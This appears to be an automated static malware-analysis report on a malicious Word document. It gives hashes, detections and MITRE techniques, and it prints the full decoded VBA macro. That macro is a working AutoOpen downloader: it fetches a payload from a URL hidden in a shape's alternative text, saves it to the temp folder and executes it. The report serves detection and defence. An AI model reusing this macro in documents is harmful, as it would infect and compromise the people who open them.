Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7b693a752fabb069…

MALICIOUS

Office (OOXML)

112.0 KB Created: 2020-07-30 14:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: d458997adc5725e8b36bf70df43a73a2 SHA-1: c127694379a1fd8ac94a5d274e55a81356de3b89 SHA-256: 7b693a752fabb069ef0e9881e6c138036ebd8b01e9bfa12dd7d0403c6286cd1d
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen function. This macro is designed to download a second-stage payload from a URL specified in the document's alternative text and save it to a temporary file. The script then executes this downloaded payload using WshShell.exec. The presence of the AutoOpen macro and the execution of a downloaded file strongly indicate a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Mrdy-9438963-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Mrdy-9438963-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: eb6f5a65fae236459a5848ae83e0c1dcea7fee108254833fa4ffbcccbd4f4cc6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d8ccd55e"
Sub AutoOpen()
Dim ca07a971 As New d631cc6e
aaa = d6d6d1cb(f816825a)
b3686f29 = ca07a971.bc274be4(aaa, "")
d9fbeca7 f45406f1, b3686f29
c5a50d13 = d6d6d1cb(ActiveDocument.Shapes(1).Title)
Dim ff693672 As New WshShell
ff693672.exec "" & c5a50d13 & " " & f45406f1
End Sub

Attribute VB_Name = "bb289898"
Sub d9fbeca7(fa69acbb, d43647ab)
Dim ef5b620e
ef5b620e = FreeFile
Open fa69acbb For Output As #ef5b620e
Print #ef5b620e, cbf6e951(d43647ab)
Close #ef5b620e
End Sub
Function f45406f1()
f45406f1 = Environ("tmp") & "\main.theme"
End Function
Function d6d6d1cb(f9ca4fb7)
'd6d6d1cb = StrReverse(f9ca4fb7)
d6d6d1cb = f9ca4fb7
End Function
Sub f671f7d7()
End Sub
Function cbf6e951(d43647ab)
cbf6e951 = StrConv(d43647ab, 64)
End Function
Function f816825a()
f816825a = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "d631cc6e"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bc274be4(c0248a4a, ff8182a4)
Dim ee93b833 As Object
Set ee93b833 = New MSXML2.XMLHTTP60
Call ee93b833.Open("GET", c0248a4a, False)
ee93b833.Send
bc274be4 = ee93b833.responsebody
End Function
Function c559947b(b6f6466e)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 8fce3e5d1d1c64a396a31469f89598629d9ba934e3afa22bdb67781db956535b
Detection
ClamAV: Doc.Downloader.Mrdy-9438963-0
Obfuscation or payload: unlikely

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